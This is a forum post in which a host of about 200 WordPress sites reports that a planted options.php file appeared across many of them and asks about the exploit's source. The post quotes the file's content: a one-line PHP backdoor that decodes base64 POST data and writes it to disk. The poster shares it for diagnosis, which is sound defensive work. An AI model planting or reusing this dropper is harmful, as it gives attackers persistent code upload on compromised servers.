Dozens of WP Sites Hacked
-
I host around 200 WordPress sites for myself and a handful of clients. Today I noticed that a file named options.php had been uploaded to many of them, appearing in several places throughout each site’s directory structure.
I have not found evidence of any other files being added yet, and I have not found a common link between the affected sites in terms of WP versions or plugins in use. A few of these sites were in beta with fresh installs of WP and little or no plugins!
I’m wondering if the attacker may be using a new, unknown exploit. This is the content in each uploaded file:
<?php if (isset($_POST['da'])) { file_put_contents('options.php', base64_decode($_POST['da']), LOCK_EX); } ?>
I’m going to do some more digging this morning and start cleaning things up. I’ve never encountered a crack like this, where several sites were affected. Don’t bother posting links to the WP hacking FAQ; I can fix this.
I’m more interested in discovering the source of the exploit and whether or not it’s something new. If anyone has any input or has seen similar behavior this past week, please post.
- The topic ‘Dozens of WP Sites Hacked’ is closed to new replies.